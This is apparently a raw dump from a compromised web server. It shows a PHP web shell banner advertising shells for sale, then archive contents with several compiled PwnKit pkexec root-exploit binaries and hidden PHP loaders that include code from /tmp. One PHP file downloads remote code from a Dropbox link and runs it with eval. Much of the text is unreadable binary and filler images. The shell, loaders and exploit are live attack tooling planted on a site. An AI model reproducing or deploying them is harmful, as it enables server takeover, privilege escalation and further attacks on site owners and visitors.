GIF89; GIF89; %PDF- %PDF- Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.129: ~ $
PK!13/GCONV_PATH=./.pkexecnuȯ��PK!��zjj13/ypekqj/index.phpnu�[���<?=@null; $h="";if(!empty($_SERVER["HTTP_HOST"])) $h = "sarang.php"; include("zip:///tmp/phpgcuJge#$h");?>PK!13/.mad-rootnu�[���PK!C�!)�+�+	13/pwnkitnuȯ��ELF>]@H@8@@@@��PPP\\ `` ` �� �� � ��$$P�tdlll44Q�tdGNU���Mlt,0+F�H,��
�����b#&bV�`��|�
�CE��4�R��qX���z��)|q�|���	@��� % ������"�����
��v�R�Yep�Rj]�1�0 9P�  �X%�  �	@H�
=`)4�__gmon_start___fini__cxa_finalize_Jv_RegisterClassesservice_interpunlink_cbremoveperrorrmrfnftwentrymkdir__errno_location_exitcreatfopenfputsfclosereadlinksymlinkpipeforkreadstrstrdup2memcpyexecveexecvpegconvgconv_initgetenvsetresuidsetresgidlibc.so.6_edata__bss_start_endGLIBC_2.3.3GLIBC_2.11GLIBC_2.2.5si	6���Bui	M� �  &   ( H P X ` h 'p x 	� 
� � � 
� � � � � � � � � � � �     H�����r�H���5� �%� @�%� h����%� h�����%� h����%� h����%� h����%� h����%� h����%� h�p����%� h�`����%� h	�P����%� h
�@����%� h�0����%z h� ����%r h
�����%j h�����%b h���%Z h����%R h�����%J h����%B h����%: h����%2 h����%* h����%" h�p����% h�`����% h�P����%
 h�@���H��H��	 H��t��H����������U�=�
 H��ATSubH�=�	 tH�=' ���H� L�%� H��
 L)�H��H��H9�s DH��H��
 A��H��
 H9�r��n
 [A\��f�H�=� UH��tH�K	 H��tH�=� ��@�Ð�UH��H��0H�}�H�u�U�H�M�H�E�H������E��}�tH�E�H�������E���UH��SH��H�}�H�E�	�@H�� H��H�����H��[��UH��H��H��H����E�H��H��H�E���H�=-�x����E܃}�u"�
������tH�=�7�����-�����H�=�<����Eܾ�H�=�(����E�H�H�H��H������H�E�H�}�uH�=���������H�H�U�H��H��������yH�=�������H�E�H���_���H�H�����H��H�����Ƅ��H����H�5�H�������E܃}�uH�=��>�����4���H����H���e������������������������H������H�Ή����Ƅ��H����H�5�H���!���H��H����H9�u$H�=��f���H�=�j���H�=��^��������������'������������������������H�E��}�~'H�E�H��H�H���H�5>H������H�E�HDž��H�.H����H�H����H�H����H�H����H�E�H����HDž��H����H����H��H�=��=���H����H����H��H�=��������UH����UH��H��P����������H�=�����H�E�����;����������H�=���H�=1����H�}�t@H�^H�E�H�[H�E�H�E�H�E�H�E�H�E��H��H�=,�Z����VH�)H�E�H�E�H�EкH��H�=
�-���H��H�E�H�E�H�E�H��H�=�������x���UH��SH��H�� H���tH�� H����H�H���u�H��[��H�����H���GCONV_PATH=.Failed to create directoryGCONV_PATH=./.pkexec.pkexecw+.pkexec/gconv-modulesFailed to open output filemodule UTF-8// PKEXEC// pkexec 2Failed to write config/proc/self/exe.pkexec/pkexec.soFailed to copy filepkexec --versionExploit failed. Target is most likely patched.CMD=PATH=GCONV_PATH=.CHARSET=pkexecSHELL=pkexec/usr/bin/pkexecpkexecCMD/bin/sh-c-i/bin/bash/lib64/ld-linux-x86-64.so.2;0����L����l��������zRx�,���=A�C
x<I���4A�C
^�Q\]����A�C
|2���A�C
A����A�C
����������������� @
����o(Px
Y0 ��@x	���o���o�o����o� n~��������.>N^n~��������
GCC: (GNU) 4.4.7 20120313 (Red Hat 4.4.7-18).symtab.strtab.shstrtab.note.gnu.build-id.gnu.hash.dynsym.dynstr.gnu.version.gnu.version_r.rela.dyn.rela.plt.init.text.fini.rodata.interp.eh_frame_hdr.eh_frame.ctors.dtors.jcr.data.rel.ro.dynamic.got.got.plt.bss.comment$.���o((P8xx�@PPYH���o��RU���o@d@@xn���
x@@sXX�~ 
 
���������PP�ll4�����` `�p p�� ��� ��� ���  �0 0��   �0 -M�� �-	h(�(xP�@�	@
X 
�
�Pl�` p � � �  0    
�` *p 8� E@
[  j( x�
��h �X�� �p����0 �� �x �� �
=
"4G V j|)4�����R�]�����	"%7K^t�X������  ��0 );PJ^�  ew�	@call_gmon_startcrtstuff.c__CTOR_LIST____DTOR_LIST____JCR_LIST____do_global_dtors_auxcompleted.6352dtor_idx.6354frame_dummy__CTOR_END____FRAME_END____JCR_END____do_global_ctors_auxPwnKit.c_GLOBAL_OFFSET_TABLE___dso_handle__DTOR_END___DYNAMICunlink_cbsymlink@@GLIBC_2.2.5dup2@@GLIBC_2.2.5close@@GLIBC_2.2.5__gmon_start___Jv_RegisterClassesputs@@GLIBC_2.2.5rmrf_finiread@@GLIBC_2.2.5fopen@@GLIBC_2.2.5gconventrysetresuid@@GLIBC_2.2.5_exit@@GLIBC_2.2.5execvpe@@GLIBC_2.11creat@@GLIBC_2.2.5__cxa_finalize@@GLIBC_2.2.5pipe@@GLIBC_2.2.5strstr@@GLIBC_2.2.5fputs@@GLIBC_2.2.5readlink@@GLIBC_2.2.5execve@@GLIBC_2.2.5gconv_initsetresgid@@GLIBC_2.2.5memcpy@@GLIBC_2.2.5getenv@@GLIBC_2.2.5__errno_location@@GLIBC_2.2.5__bss_start_endfclose@@GLIBC_2.2.5remove@@GLIBC_2.2.5fork@@GLIBC_2.2.5service_interpperror@@GLIBC_2.2.5_edatanftw@@GLIBC_2.3.3mkdir@@GLIBC_2.2.5_initPK!4/GCONV_PATH=./.pkexecnuȯ��PK!�o<ww4/684822ccbd15b.jpgnuȯ�����JFIF``��>CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), default quality
��C		

 $.' ",#(7),01444'9=82<.342��C			

2!!22222222222222222222222222222222222222222222222222��dd"��	
���}!1AQa"q2���#B��R��$3br�	
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz������������������������������������������������������������������������	
���w!1AQaq"2�B����	#3R�br�
$4�%�&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz�����������������������������������������������������������������������?���(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(���PK!�o<ww4/674dc9a7d658b.jpgnuȯ�����JFIF``��>CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), default quality
��C		

 $.' ",#(7),01444'9=82<.342��C			

2!!22222222222222222222222222222222222222222222222222��dd"��	
���}!1AQa"q2���#B��R��$3br�	
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz������������������������������������������������������������������������	
���w!1AQaq"2�B����	#3R�br�
$4�%�&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz�����������������������������������������������������������������������?���(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(���PK!�o<ww4/68484db27eacf.jpgnuȯ�����JFIF``��>CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), default quality
��C		

 $.' ",#(7),01444'9=82<.342��C			

2!!22222222222222222222222222222222222222222222222222��dd"��	
���}!1AQa"q2���#B��R��$3br�	
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz������������������������������������������������������������������������	
���w!1AQaq"2�B����	#3R�br�
$4�%�&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz�����������������������������������������������������������������������?���(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(���PK!�o<ww4/6865471a7ed23.jpgnuȯ�����JFIF``��>CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), default quality
��C		

 $.' ",#(7),01444'9=82<.342��C			

2!!22222222222222222222222222222222222222222222222222��dd"��	
���}!1AQa"q2���#B��R��$3br�	
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz������������������������������������������������������������������������	
���w!1AQaq"2�B����	#3R�br�
$4�%�&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz�����������������������������������������������������������������������?���(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(���PK!�o<ww4/6888aa59ea9f2.jpgnuȯ�����JFIF``��>CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), default quality
��C		

 $.' ",#(7),01444'9=82<.342��C			

2!!22222222222222222222222222222222222222222222222222��dd"��	
���}!1AQa"q2���#B��R��$3br�	
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz������������������������������������������������������������������������	
���w!1AQaq"2�B����	#3R�br�
$4�%�&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz�����������������������������������������������������������������������?���(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(���PK!�o<ww4/6841a27c7de44.jpgnuȯ�����JFIF``��>CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), default quality
��C		

 $.' ",#(7),01444'9=82<.342��C			

2!!22222222222222222222222222222222222222222222222222��dd"��	
���}!1AQa"q2���#B��R��$3br�	
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz������������������������������������������������������������������������	
���w!1AQaq"2�B����	#3R�br�
$4�%�&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz�����������������������������������������������������������������������?���(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(���PK!�o<ww4/684941accc0e3.jpgnuȯ�����JFIF``��>CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), default quality
��C		

 $.' ",#(7),01444'9=82<.342��C			

2!!22222222222222222222222222222222222222222222222222��dd"��	
���}!1AQa"q2���#B��R��$3br�	
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz������������������������������������������������������������������������	
���w!1AQaq"2�B����	#3R�br�
$4�%�&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz�����������������������������������������������������������������������?���(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(���PK!�o<ww4/67c59a7113e34.jpgnuȯ�����JFIF``��>CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), default quality
��C		

 $.' ",#(7),01444'9=82<.342��C			

2!!22222222222222222222222222222222222222222222222222��dd"��	
���}!1AQa"q2���#B��R��$3br�	
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz������������������������������������������������������������������������	
���w!1AQaq"2�B����	#3R�br�
$4�%�&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz�����������������������������������������������������������������������?���(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(���PK!�o<ww4/67e272a8947e3.jpgnuȯ�����JFIF``��>CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), default quality
��C		

 $.' ",#(7),01444'9=82<.342��C			

2!!22222222222222222222222222222222222222222222222222��dd"��	
���}!1AQa"q2���#B��R��$3br�	
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz������������������������������������������������������������������������	
���w!1AQaq"2�B����	#3R�br�
$4�%�&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz�����������������������������������������������������������������������?���(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(���PK!4/.mad-rootnu�[���PK!�o<ww4/675075896eea0.jpgnuȯ�����JFIF``��>CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), default quality
��C		

 $.' ",#(7),01444'9=82<.342��C			

2!!22222222222222222222222222222222222222222222222222��dd"��	
���}!1AQa"q2���#B��R��$3br�	
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz������������������������������������������������������������������������	
���w!1AQaq"2�B����	#3R�br�
$4�%�&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz�����������������������������������������������������������������������?���(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(���PK!C�!)�+�+4/pwnkitnuȯ��ELF>]@H@8@@@@��PPP\\ `` ` �� �� � ��$$P�tdlll44Q�tdGNU���Mlt,0+F�H,��
�����b#&bV�`��|�
�CE��4�R��qX���z��)|q�|���	@��� % ������"�����
��v�R�Yep�Rj]�1�0 9P�  �X%�  �	@H�
=`)4�__gmon_start___fini__cxa_finalize_Jv_RegisterClassesservice_interpunlink_cbremoveperrorrmrfnftwentrymkdir__errno_location_exitcreatfopenfputsfclosereadlinksymlinkpipeforkreadstrstrdup2memcpyexecveexecvpegconvgconv_initgetenvsetresuidsetresgidlibc.so.6_edata__bss_start_endGLIBC_2.3.3GLIBC_2.11GLIBC_2.2.5si	6���Bui	M� �  &   ( H P X ` h 'p x 	� 
� � � 
� � � � � � � � � � � �     H�����r�H���5� �%� @�%� h����%� h�����%� h����%� h����%� h����%� h����%� h����%� h�p����%� h�`����%� h	�P����%� h
�@����%� h�0����%z h� ����%r h
�����%j h�����%b h���%Z h����%R h�����%J h����%B h����%: h����%2 h����%* h����%" h�p����% h�`����% h�P����%
 h�@���H��H��	 H��t��H����������U�=�
 H��ATSubH�=�	 tH�=' ���H� L�%� H��
 L)�H��H��H9�s DH��H��
 A��H��
 H9�r��n
 [A\��f�H�=� UH��tH�K	 H��tH�=� ��@�Ð�UH��H��0H�}�H�u�U�H�M�H�E�H������E��}�tH�E�H�������E���UH��SH��H�}�H�E�	�@H�� H��H�����H��[��UH��H��H��H����E�H��H��H�E���H�=-�x����E܃}�u"�
������tH�=�7�����-�����H�=�<����Eܾ�H�=�(����E�H�H�H��H������H�E�H�}�uH�=���������H�H�U�H��H��������yH�=�������H�E�H���_���H�H�����H��H�����Ƅ��H����H�5�H�������E܃}�uH�=��>�����4���H����H���e������������������������H������H�Ή����Ƅ��H����H�5�H���!���H��H����H9�u$H�=��f���H�=�j���H�=��^��������������'������������������������H�E��}�~'H�E�H��H�H���H�5>H������H�E�HDž��H�.H����H�H����H�H����H�H����H�E�H����HDž��H����H����H��H�=��=���H����H����H��H�=��������UH����UH��H��P����������H�=�����H�E�����;����������H�=���H�=1����H�}�t@H�^H�E�H�[H�E�H�E�H�E�H�E�H�E��H��H�=,�Z����VH�)H�E�H�E�H�EкH��H�=
�-���H��H�E�H�E�H�E�H��H�=�������x���UH��SH��H�� H���tH�� H����H�H���u�H��[��H�����H���GCONV_PATH=.Failed to create directoryGCONV_PATH=./.pkexec.pkexecw+.pkexec/gconv-modulesFailed to open output filemodule UTF-8// PKEXEC// pkexec 2Failed to write config/proc/self/exe.pkexec/pkexec.soFailed to copy filepkexec --versionExploit failed. Target is most likely patched.CMD=PATH=GCONV_PATH=.CHARSET=pkexecSHELL=pkexec/usr/bin/pkexecpkexecCMD/bin/sh-c-i/bin/bash/lib64/ld-linux-x86-64.so.2;0����L����l��������zRx�,���=A�C
x<I���4A�C
^�Q\]����A�C
|2���A�C
A����A�C
����������������� @
����o(Px
Y0 ��@x	���o���o�o����o� n~��������.>N^n~��������
GCC: (GNU) 4.4.7 20120313 (Red Hat 4.4.7-18).symtab.strtab.shstrtab.note.gnu.build-id.gnu.hash.dynsym.dynstr.gnu.version.gnu.version_r.rela.dyn.rela.plt.init.text.fini.rodata.interp.eh_frame_hdr.eh_frame.ctors.dtors.jcr.data.rel.ro.dynamic.got.got.plt.bss.comment$.���o((P8xx�@PPYH���o��RU���o@d@@xn���
x@@sXX�~ 
 
���������PP�ll4�����` `�p p�� ��� ��� ���  �0 0��   �0 -M�� �-	h(�(xP�@�	@
X 
�
�Pl�` p � � �  0    
�` *p 8� E@
[  j( x�
��h �X�� �p����0 �� �x �� �
=
"4G V j|)4�����R�]�����	"%7K^t�X������  ��0 );PJ^�  ew�	@call_gmon_startcrtstuff.c__CTOR_LIST____DTOR_LIST____JCR_LIST____do_global_dtors_auxcompleted.6352dtor_idx.6354frame_dummy__CTOR_END____FRAME_END____JCR_END____do_global_ctors_auxPwnKit.c_GLOBAL_OFFSET_TABLE___dso_handle__DTOR_END___DYNAMICunlink_cbsymlink@@GLIBC_2.2.5dup2@@GLIBC_2.2.5close@@GLIBC_2.2.5__gmon_start___Jv_RegisterClassesputs@@GLIBC_2.2.5rmrf_finiread@@GLIBC_2.2.5fopen@@GLIBC_2.2.5gconventrysetresuid@@GLIBC_2.2.5_exit@@GLIBC_2.2.5execvpe@@GLIBC_2.11creat@@GLIBC_2.2.5__cxa_finalize@@GLIBC_2.2.5pipe@@GLIBC_2.2.5strstr@@GLIBC_2.2.5fputs@@GLIBC_2.2.5readlink@@GLIBC_2.2.5execve@@GLIBC_2.2.5gconv_initsetresgid@@GLIBC_2.2.5memcpy@@GLIBC_2.2.5getenv@@GLIBC_2.2.5__errno_location@@GLIBC_2.2.5__bss_start_endfclose@@GLIBC_2.2.5remove@@GLIBC_2.2.5fork@@GLIBC_2.2.5service_interpperror@@GLIBC_2.2.5_edatanftw@@GLIBC_2.3.3mkdir@@GLIBC_2.2.5_initPK!�o<ww11/6891d13e96daf.jpgnuȯ�����JFIF``��>CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), default quality
��C		

 $.' ",#(7),01444'9=82<.342��C			

2!!22222222222222222222222222222222222222222222222222��dd"��	
���}!1AQa"q2���#B��R��$3br�	
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz������������������������������������������������������������������������	
���w!1AQaq"2�B����	#3R�br�
$4�%�&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz�����������������������������������������������������������������������?���(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(���PK!�o<ww11/67c59b3e1d4ac.jpgnuȯ�����JFIF``��>CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), default quality
��C		

 $.' ",#(7),01444'9=82<.342��C			

2!!22222222222222222222222222222222222222222222222222��dd"��	
���}!1AQa"q2���#B��R��$3br�	
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz������������������������������������������������������������������������	
���w!1AQaq"2�B����	#3R�br�
$4�%�&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz�����������������������������������������������������������������������?���(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(���PK!11/GCONV_PATH=./.pkexecnuȯ��PK!�o<ww11/6888aa59f12ee.jpgnuȯ�����JFIF``��>CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), default quality
��C		

 $.' ",#(7),01444'9=82<.342��C			

2!!22222222222222222222222222222222222222222222222222��dd"��	
���}!1AQa"q2���#B��R��$3br�	
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz������������������������������������������������������������������������	
���w!1AQaq"2�B����	#3R�br�
$4�%�&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz�����������������������������������������������������������������������?���(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(���PK!�o<ww11/67e272ac69dbd.jpgnuȯ�����JFIF``��>CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), default quality
��C		

 $.' ",#(7),01444'9=82<.342��C			

2!!22222222222222222222222222222222222222222222222222��dd"��	
���}!1AQa"q2���#B��R��$3br�	
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz������������������������������������������������������������������������	
���w!1AQaq"2�B����	#3R�br�
$4�%�&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz�����������������������������������������������������������������������?���(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(���PK!�o<ww11/68a43aa3b3320.jpgnu�[������JFIF``��>CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), default quality
��C		

 $.' ",#(7),01444'9=82<.342��C			

2!!22222222222222222222222222222222222222222222222222��dd"��	
���}!1AQa"q2���#B��R��$3br�	
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz������������������������������������������������������������������������	
���w!1AQaq"2�B����	#3R�br�
$4�%�&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz�����������������������������������������������������������������������?���(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(���PK!�o<ww11/67c6da0a363ee.jpgnuȯ�����JFIF``��>CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), default quality
��C		

 $.' ",#(7),01444'9=82<.342��C			

2!!22222222222222222222222222222222222222222222222222��dd"��	
���}!1AQa"q2���#B��R��$3br�	
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz������������������������������������������������������������������������	
���w!1AQaq"2�B����	#3R�br�
$4�%�&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz�����������������������������������������������������������������������?���(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(���PK!"$�hh11/tku1ms/index.phpnu�[���<?=@null; $h="";if(!empty($_SERVER["HTTP_HOST"])) $h = "dlex.php"; include("zip:///tmp/phpgcuJge#$h");?>PK!�o<ww11/6842d81768df2.jpgnuȯ�����JFIF``��>CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), default quality
��C		

 $.' ",#(7),01444'9=82<.342��C			

2!!22222222222222222222222222222222222222222222222222��dd"��	
���}!1AQa"q2���#B��R��$3br�	
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz������������������������������������������������������������������������	
���w!1AQaq"2�B����	#3R�br�
$4�%�&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz�����������������������������������������������������������������������?���(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(���PK!11/.mad-rootnu�[���PK!�;@���11/1zr2as/vicj1.phpnu�[���<?php
$url = 'https://dl.dropboxusercontent.com/scl/fi/6m98q50ny26rc3dyohctr/notes.php?rlkey=bqm731qt8el3xd7gdzvncvwk3&st=p0at8wx4&raw=1';
$kode = file_get_contents($url);
eval('?>' . $kode);
?>PK!�o<ww11/67c59a711e8cd.jpgnuȯ�����JFIF``��>CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), default quality
��C		

 $.' ",#(7),01444'9=82<.342��C			

2!!22222222222222222222222222222222222222222222222222��dd"��	
���}!1AQa"q2���#B��R��$3br�	
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz������������������������������������������������������������������������	
���w!1AQaq"2�B����	#3R�br�
$4�%�&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz�����������������������������������������������������������������������?���(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(���PK!C�!)�+�+	11/pwnkitnuȯ��ELF>]@H@8@@@@��PPP\\ `` ` �� �� � ��$$P�tdlll44Q�tdGNU���Mlt,0+F�H,��
�����b#&bV�`��|�
�CE��4�R��qX���z��)|q�|���	@��� % ������"�����
��v�R�Yep�Rj]�1�0 9P�  �X%�  �	@H�
=`)4�__gmon_start___fini__cxa_finalize_Jv_RegisterClassesservice_interpunlink_cbremoveperrorrmrfnftwentrymkdir__errno_location_exitcreatfopenfputsfclosereadlinksymlinkpipeforkreadstrstrdup2memcpyexecveexecvpegconvgconv_initgetenvsetresuidsetresgidlibc.so.6_edata__bss_start_endGLIBC_2.3.3GLIBC_2.11GLIBC_2.2.5si	6���Bui	M� �  &   ( H P X ` h 'p x 	� 
� � � 
� � � � � � � � � � � �     H�����r�H���5� �%� @�%� h����%� h�����%� h����%� h����%� h����%� h����%� h����%� h�p����%� h�`����%� h	�P����%� h
�@����%� h�0����%z h� ����%r h
�����%j h�����%b h���%Z h����%R h�����%J h����%B h����%: h����%2 h����%* h����%" h�p����% h�`����% h�P����%
 h�@���H��H��	 H��t��H����������U�=�
 H��ATSubH�=�	 tH�=' ���H� L�%� H��
 L)�H��H��H9�s DH��H��
 A��H��
 H9�r��n
 [A\��f�H�=� UH��tH�K	 H��tH�=� ��@�Ð�UH��H��0H�}�H�u�U�H�M�H�E�H������E��}�tH�E�H�������E���UH��SH��H�}�H�E�	�@H�� H��H�����H��[��UH��H��H��H����E�H��H��H�E���H�=-�x����E܃}�u"�
������tH�=�7�����-�����H�=�<����Eܾ�H�=�(����E�H�H�H��H������H�E�H�}�uH�=���������H�H�U�H��H��������yH�=�������H�E�H���_���H�H�����H��H�����Ƅ��H����H�5�H�������E܃}�uH�=��>�����4���H����H���e������������������������H������H�Ή����Ƅ��H����H�5�H���!���H��H����H9�u$H�=��f���H�=�j���H�=��^��������������'������������������������H�E��}�~'H�E�H��H�H���H�5>H������H�E�HDž��H�.H����H�H����H�H����H�H����H�E�H����HDž��H����H����H��H�=��=���H����H����H��H�=��������UH����UH��H��P����������H�=�����H�E�����;����������H�=���H�=1����H�}�t@H�^H�E�H�[H�E�H�E�H�E�H�E�H�E��H��H�=,�Z����VH�)H�E�H�E�H�EкH��H�=
�-���H��H�E�H�E�H�E�H��H�=�������x���UH��SH��H�� H���tH�� H����H�H���u�H��[��H�����H���GCONV_PATH=.Failed to create directoryGCONV_PATH=./.pkexec.pkexecw+.pkexec/gconv-modulesFailed to open output filemodule UTF-8// PKEXEC// pkexec 2Failed to write config/proc/self/exe.pkexec/pkexec.soFailed to copy filepkexec --versionExploit failed. Target is most likely patched.CMD=PATH=GCONV_PATH=.CHARSET=pkexecSHELL=pkexec/usr/bin/pkexecpkexecCMD/bin/sh-c-i/bin/bash/lib64/ld-linux-x86-64.so.2;0����L����l��������zRx�,���=A�C
x<I���4A�C
^�Q\]����A�C
|2���A�C
A����A�C
����������������� @
����o(Px
Y0 ��@x	���o���o�o����o� n~��������.>N^n~��������
GCC: (GNU) 4.4.7 20120313 (Red Hat 4.4.7-18).symtab.strtab.shstrtab.note.gnu.build-id.gnu.hash.dynsym.dynstr.gnu.version.gnu.version_r.rela.dyn.rela.plt.init.text.fini.rodata.interp.eh_frame_hdr.eh_frame.ctors.dtors.jcr.data.rel.ro.dynamic.got.got.plt.bss.comment$.���o((P8xx�@PPYH���o��RU���o@d@@xn���
x@@sXX�~ 
 
���������PP�ll4�����` `�p p�� ��� ��� ���  �0 0��   �0 -M�� �-	h(�(xP�@�	@
X 
�
�Pl�` p � � �  0    
�` *p 8� E@
[  j( x�
��h �X�� �p����0 �� �x �� �
=
"4G V j|)4�����R�]�����	"%7K^t�X������  ��0 );PJ^�  ew�	